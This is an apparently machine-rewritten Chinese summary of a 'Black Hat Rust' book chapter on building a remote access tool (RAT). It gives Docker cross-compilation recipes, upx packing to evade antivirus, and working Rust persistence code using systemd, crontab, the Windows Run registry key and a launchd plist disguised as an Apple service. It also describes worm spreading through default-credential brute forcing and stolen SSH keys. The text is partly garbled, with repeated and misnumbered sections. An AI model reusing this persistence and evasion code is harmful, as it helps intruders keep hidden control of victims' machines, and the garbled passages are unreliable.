在資安領域中,遠端存取工具(RAT)的跨平台能力和持久化技術至關重要。RAT 開發者需要確保其工具能夠在不同作業系統上穩定執行,並在系統重啟後保持活動狀態。本文將探討如何利用 Rust 語言和 Docker 等工具實作 RAT 的跨平台編譯,並深入研究在 Linux 和 Windows 系統上建立持久化機制的技術細節。此外,我們也將探討如何將 RAT 蠕蟲化,使其具備自我複製和傳播能力,以及如何防範這類別攻擊。透過 Rust 的跨平台特性,開發者可以編寫一次程式碼,然後編譯成適用於不同目標平台的可執行檔案,例如在 Linux 系統上編譯 Windows 可執行檔。文章將詳細介紹如何使用 Cross 工具和自定義 Dockerfile 進行跨平台編譯,並針對不同 CPU 架構(如 aarch64 和 armv7)提供編譯方法。
附錄:跨平台編譯資源
- Rust 官方檔案:https://doc.rust-lang.org/nightly/rustc/platform-support.html
- cross 專案:https://github.com/rust-embedded/cross
- Docker 官方檔案:https://docs.docker.com/
這些資源為開發者提供了深入學習和解決跨平台編譯問題所需的詳細資訊和支援。
跨平台編譯與持久化技術在遠端存取工具(RAT)中的應用
在現代網路攻擊與防禦技術中,遠端存取工具(Remote Access Tool, RAT)扮演著重要的角色。RAT允許攻擊者在未經授權的情況下遠端控制受害者的電腦系統。為了確保RAT在不同平台上的可執行性以及在系統重啟後仍能持續運作,跨平台編譯和持久化技術是兩個至關重要的環節。本文將探討如何利用Rust語言實作跨平台編譯,以及如何在Linux和Windows系統上實作RAT的持久化。
12.6 跨平台編譯
跨平台編譯是指在一種平台上編譯程式碼,使其能在另一種不同的平台上執行。對於RAT開發者來說,這意味著可以在Linux上編譯出能在Windows上執行的檔案,反之亦然。Rust提供了一套強大的工具鏈來支援跨平台編譯。
12.6.1 使用Cross工具進行跨平台編譯
Cross是Rust社群開發的一個工具,它簡化了跨平台編譯的過程。使用Cross,開發者可以輕鬆地為不同的目標平台編譯Rust程式。
首先,需要在專案根目錄建立一個Cross.toml
檔案,並在其中指定目標平台的組態,例如:
[target.x86_64-pc-windows-gnu]
image = "my_image:tag"
這個組態告訴Cross在編譯時使用指定的Docker映像。
12.6.2 自行編寫Dockerfile進行跨平台編譯
除了使用Cross,開發者也可以自行編寫Dockerfile來建立用於跨平台編譯的環境。例如,要在Linux上為Windows編譯,可以建立一個Dockerfile.windows
:
FROM rust:latest
RUN apt update && apt upgrade -y
RUN apt install -y g++-mingw-w64-x86-64
RUN rustup target add x86_64-pc-windows-gnu
RUN rustup toolchain install stable-x86_64-pc-windows-gnu
WORKDIR /app
CMD ["cargo", "build", "--target", "x86_64-pc-windows-gnu"]
建構Docker映像並執行它,即可獲得在Windows上可執行的檔案:
$ docker build . -t black_hat_rust/ch12_windows -f Dockerfile.windows
$ docker run --rm -ti -v `pwd`:/app black_hat_rust/ch12_windows
12.7 為不同架構進行跨平台編譯
除了為不同的作業系統進行跨平台編譯外,還需要考慮不同的CPU架構,例如aarch64
(arm64)和armv7
。
12.7.1 為aarch64
架構進行跨平台編譯
要為aarch64
架構進行編譯,可以使用以下Dockerfile:
FROM rust:latest
RUN apt update && apt upgrade -y
RUN apt install -y g++-aarch64-linux-gnu libc6-dev-arm64-cross
RUN rustup target add aarch64-unknown-linux-gnu
RUN rustup toolchain install stable-aarch64-unknown-linux-gnu
WORKDIR /app
ENV CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER=aarch64-linux-gnu-gcc \
CC_aarch64_unknown_linux_gnu=aarch64-linux-gnu-gcc \
CXX_aarch64_unknown_linux_gnu=aarch64-linux-gnu-g++
CMD ["cargo", "build", "--target", "aarch64-unknown-linux-gnu"]
12.7.2 為armv7
架構進行跨平台編譯
類別似地,為armv7
架構編譯可以使用以下Dockerfile:
FROM rust:latest
RUN apt update && apt upgrade -y
RUN apt install -y g++-arm-linux-gnueabihf libc6-dev-armhf-cross
RUN rustup target add armv7-unknown-linux-gnueabihf
RUN rustup toolchain install stable-armv7-unknown-linux-gnueabihf
WORKDIR /app
ENV CARGO_TARGET_ARMV7_UNKNOWN_LINUX_GNUEABIHF_LINKER=arm-linux-gnueabihf-gcc \
CC_armv7_unknown_linux_gnueabihf=arm-linux-gnueabihf-gcc \
CXX_armv7_unknown_linux_gnueabihf=arm-linux-gnueabihf-g++
CMD ["cargo", "build", "--target", "armv7-unknown-linux-gnueabihf"]
12.8 進一步最佳化Rust二進位制檔案
12.8.1 使用strip
工具最佳化二進位制檔案
strip
是一個Unix工具,可以移除二進位制檔案中未使用的符號和資料,從而減小檔案大小:
$ strip -s ./my_executable
12.9 加殼工具(Packers)
加殼工具可以壓縮和/或加密二進位制檔案,使其更難被偵測到。一個簡單的例子是upx
:
$ sudo apt install -y upx
$ upx -9 <my executable>
雖然upx
很簡單易用,但由於它太知名,大多數現代防毒軟體都能夠偵測並繞過它。
12.10 持久化技術
為了確保RAT在系統重啟後仍能執行,需要實作持久化。持久化技術因作業系統而異,因此Rust的跨平台特性在此發揮了重要作用。
12.10.1 Linux上的持久化
在Linux上,持久化可以透過建立systemd
服務或cron
任務來實作。
使用systemd
服務實作持久化
pub const SYSTEMD_SERVICE_FILE: &str = "/etc/systemd/system/ch12agent.service";
fn install_systemd(executable: &PathBuf) -> Result<(), crate::Error> {
let systemd_file_content = format!(
"[Unit]
Description=Black Hat Rust chapter12's agent
[Service]
Type=simple
ExecStart={}
Restart=always
RestartSec=1
[Install]
WantedBy=multi-user.target
Alias=ch12agent.service",
executable.display()
);
fs::write(SYSTEMD_SERVICE_FILE, systemd_file_content)?;
Command::new("systemctl")
.arg("enable")
.arg("ch12agent")
.output()?;
Ok(())
}
使用cron
任務實作持久化
fn install_crontab(executable: &PathBuf) -> Result<(), crate::Error> {
let cron_expression = format!("* * * * * {}\n", executable.display());
let mut crontab_file = config::get_agent_directory()?;
crontab_file.push("crontab");
let crontab_output = Command::new("crontab").arg("-l").output()?.stdout;
let current_tasks = String::from_utf8(crontab_output)?;
let current_tasks = current_tasks.trim();
if current_tasks.contains(&cron_expression) {
return Ok(());
}
let mut new_tasks = current_tasks.to_owned();
if !new_tasks.is_empty() {
new_tasks += "\n";
}
new_tasks += cron_expression.as_str();
fs::write(&crontab_file, &new_tasks)?;
Command::new("crontab")
.arg(crontab_file.display().to_string())
.output()?;
let _ = fs::remove_file(crontab_file);
Ok(())
}
12.10.2 Windows上的持久化
在Windows上,可以透過修改登入檔來實作持久化:
fn install_registry_user_run(executable: &PathBuf) -> Result<(), crate::Error> {
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let path = Path::new("Software")
.join("Microsoft")
.join("Windows")
.join("CurrentVersion")
.join("Run");
// 登入檔操作實作
}
#### 內容解密:
上述程式碼展示瞭如何使用Rust在Linux和Windows系統上實作RAT的持久化。在Linux上,可以透過建立systemd
服務或cron
任務來實作持久化;在Windows上,則是透過修改登入檔來實作。這些技術可以確保RAT在系統重啟後仍能持續運作。
遠端存取工具(RAT)持久化與蠕蟲化技術深度解析
隨著網路攻擊技術的日益進進,惡意軟體的開發者不斷改進其技術以確保惡意程式能夠在受感染的系統上持久存在並進一步擴散。本文將探討遠端存取工具(RAT)的持久化技術以及如何將其轉變為蠕蟲以擴大感染範圍。
12.10 持久化技術實作
持久化是指惡意軟體在系統重啟或特定條件下仍能保持活躍狀態的技術。不同的作業系統需要不同的持久化方法。
12.10.1 Windows 系統持久化
在 Windows 系統中,持久化通常透過修改登入檔來實作。以下是一個使用 Rust 語言實作 Windows 登入檔持久化的範例程式碼:
fn install_registry_user_run(executable: &PathBuf) -> Result<(), crate::Error> {
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
let (key, disp) = hkcu.create_subkey(&path).unwrap();
key.set_value("BhrAgentCh12", &executable.display().to_string()).unwrap();
Ok(())
}
#### 內容解密:
此段程式碼實作在 Windows 系統上透過修改 HKEY_CURRENT_USER 登入檔鍵值來實作持久化。主要步驟包括:
1. 開啟或建立 `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run` 鍵值
2. 在該鍵值下新增名為 "BhrAgentCh12" 的字串值,內容為惡意程式的路徑
3. 這樣設定後,Windows 會在使用者登入時自動執行該程式
#### 12.10.2 Linux 系統持久化
在 Linux 系統中,持久化通常透過 cron job 來實作。雖然程式碼範例未直接給出,但基本思路是:
1. 建立一個 cron job
2. 設定該 job 定期執行惡意程式
3. 確保惡意程式具有適當的許可權
#### 12.10.3 macOS 系統持久化
macOS 系統使用 launchd 服務來管理背景程式。以下是一個使用 Rust 語言實作 macOS 持久化的範例程式碼:
```rust
fn install_launchd(executable: &PathBuf) -> Result<(), crate::Error> {
let launchd_file_content = format!(r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"https://web.archive.org/web/20160508000732/http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.cloudd</string>
<key>ProgramArguments</key>
<array>
<string>{}</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>"#, executable.display());
// ... (檔案寫入與 launchctl 執行程式碼)
}
#### 內容解密:
此段程式碼實作在 macOS 系統上透過建立 launchd 設定檔來實作持久化。主要步驟包括:
1. 建立一個符合 launchd 格式的 plist 檔案
2. 將該檔案寫入 `~/Library/LaunchAgents/` 目錄下
3. 使用 `launchctl load` 命令載入該設定,使惡意程式在系統啟動時執行
### 12.11 單一例項控制
為了避免多個 RAT 例項同時執行導致不可預期的行為,通常會實施單一例項控制。以下是一個使用 Rust 語言實作單一例項控制的範例程式碼:
```rust
fn main() -> Result<(), Box<dyn std::error::Error>> {
let instance = SingleInstance::new(config::SINGLE_INSTANCE_IDENTIFIER).unwrap();
if !instance.is_single() {
return Ok(());
}
// ... (主要程式邏輯)
}
#### 內容解密:
此段程式碼確保程式只執行一個例項。主要步驟包括:
1. 使用 `SingleInstance` 類別建立一個例項標識
2. 檢查當前是否為唯一例項
3. 如果不是唯一例項,則直接離開程式
### 13.1 蠕蟲技術概述
蠕蟲是一種能夠自我複製並傳播到其他系統的惡意軟體。它們通常用於大規模感染或特定目標攻擊。
#### 蠕蟲的特點:
1. 自我複製能力
2. 自動傳播到其他系統
3. 通常利用網路服務或漏洞進行傳播
### 13.2 蠕蟲傳播技術
蠕蟲主要透過兩種技術進行傳播:
1. 暴力破解網路服務(如 SSH)
2. 利用已知漏洞(如 RCE 或 XSS)
#### 傳播策略:
1. 目標導向:根據操作者的指令進行有選擇的傳播
2. 大規模掃描:掃描整個網際網路和本地網路進行廣泛傳播
### 安全性考量
1. 蠕蟲傳播可能導致大規模系統感染
2. 可能觸犯法律法規
3. 需要謹慎考慮傳播策略以避免對關鍵基礎設施造成損害
1. 更先進的持久化技術
2. 更聰明的傳播策略
3. 對抗惡意軟體的技術進步
透過深入瞭解這些技術,我們可以更好地保護我們的系統和網路免受惡意軟體的侵害。同時,這也提醒我們在開發軟體時需要考慮安全性和潛在的濫用風險。
## 13.2 網路蠕蟲傳播技術
網路蠕蟲是一種能夠自我複製並在網路中傳播的惡意軟體。瞭解其傳播技術有助於我們更好地防範這類別威脅。
### 13.2.1 弱密碼攻擊
嘗試所有ASCII字元組合來進行暴力破解對於網路服務來說並不實際,因為這需要耗費太多的時間。更有效的方法是嘗試那些已知經常被製造商使用的憑證對(使用者名稱,密碼)。這樣的密碼清單可以在Mirai的原始碼中找到。
這種簡單但在大規模下有效的技術經常被IoT機器人網路(如Mirai或其衍生品)利用,因為IoT裝置(如網路攝影機、智慧溫控器等)的安全性通常較差。
#### 內容解密:
弱密碼攻擊是蠕蟲傳播的主要手段之一。攻擊者利用使用者經常使用的簡單密碼或預設密碼進行攻擊。加強密碼安全是防止這種攻擊的有效方法。
### 13.2.2 盜取憑證
另一種類別似但更有針對性的傳播技術是使用盜取的憑證。例如,在受感染的伺服器上,蠕蟲可以檢視`~/.ssh/config`和`~/.ssh/known_hosts`檔案,以找到可能從當前伺服器存取的其他機器,並使用`~/.ssh`資料夾中的私鑰進行傳播。
#### 內容解密:
盜取憑證是蠕蟲用於傳播的另一種方法。蠕蟲透過存取SSH組態和私鑰檔案來取得其他機器的存取許可權。保護好SSH私鑰並使用密碼保護是防止這種攻擊的重要措施。
### 13.2.3 網路服務漏洞
透過嵌入針對已知網路服務漏洞的利用程式碼,蠕蟲可以針對並傳播到託管這些服務的機器。
#### 程式碼範例:
```python
import requests
# 利用漏洞的簡單範例
def exploit_vulnerability(target_ip):
url = f"http://{target_ip}/vulnerable_endpoint"
payload = "malicious_payload"
response = requests.post(url, data=payload)
if response.status_code == 200:
print("Vulnerability exploited successfully")
else:
print("Failed to exploit vulnerability")
# 使用範例
exploit_vulnerability("192.168.1.100")
內容解密:
此程式碼範例展示了一個簡單的漏洞利用過程。實際的漏洞利用可能更加複雜,並且需要針對特定的漏洞進行設計。保持系統和軟體的更新是防止這種攻擊的有效方法。
13.2.4 其他漏洞利用
蠕蟲不僅限於利用網路服務漏洞。如第6章所述,解析是漏洞的主要來源之一。因此,透過利用常用軟體中的解析漏洞,蠕蟲可以透過感染被解析的檔案進行離線傳播。
常見的容易受到漏洞影響的複雜檔案型別包括:
- 字幕檔案
- 影片檔案
- 字型檔案
- 圖片檔案
內容解密:
蠕蟲可以透過利用解析複雜檔案型別的漏洞進行傳播。確保軟體對這些檔案的解析過程是安全的對於防止蠕蟲傳播至關重要。
13.2.5 感染供應鏈
每個軟體專案都有其依賴項,這些依賴項被稱為其供應鏈:
- 程式碼依賴項(套件、crates等)
- 編譯器
- CI/CD 管道
透過損害這些元素中的任何一個,蠕蟲可以傳播到其他機器。
程式碼範例:
// 使用Cargo vendoring來供應依賴項
// 在Cargo.toml中加入依賴項
[dependencies]
serde = { version = "1.0", features = ["derive"] }
// 使用cargo vendor命令供應依賴項
// $ cargo vendor
內容解密:
供應依賴項(vendoring dependencies)是一種將所有依賴項與程式碼一起封裝在儲存函式庫中的做法。這樣做的好處包括支援離線構建和提高隱私性,但缺點是會顯著增加儲存函式庫的大小。